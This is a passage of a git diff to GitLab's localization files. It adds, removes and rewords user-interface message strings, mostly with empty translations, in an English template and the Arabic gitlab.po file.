msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ar_SA/gitlab.po b/locale/ar_SA/gitlab.po
index 4c470e8d477..2745c6ba030 100644
--- a/locale/ar_SA/gitlab.po
+++ b/locale/ar_SA/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ar\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:35\n"
+"PO-Revision-Date: 2021-07-01 21:19\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -97,6 +94,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -415,15 +415,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -673,6 +664,36 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -724,6 +745,15 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -922,10 +952,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -1105,6 +1135,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -1138,9 +1171,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1273,12 +1303,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1309,6 +1333,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1900,9 +1927,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1963,18 +1987,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -2179,13 +2194,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -2203,16 +2218,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2332,6 +2347,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2341,6 +2359,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2404,6 +2425,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2530,6 +2554,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2764,9 +2791,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2779,19 +2803,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2803,7 +2830,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2812,10 +2839,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3226,9 +3250,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3451,12 +3487,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3583,9 +3625,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3652,6 +3691,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3811,9 +3853,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3886,9 +3925,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3940,6 +3976,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -4030,6 +4069,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -4186,9 +4228,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4465,9 +4504,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4573,15 +4609,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4975,9 +5005,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -5170,9 +5197,6 @@ msgstr ""
msgid "Auto DevOps enabled"
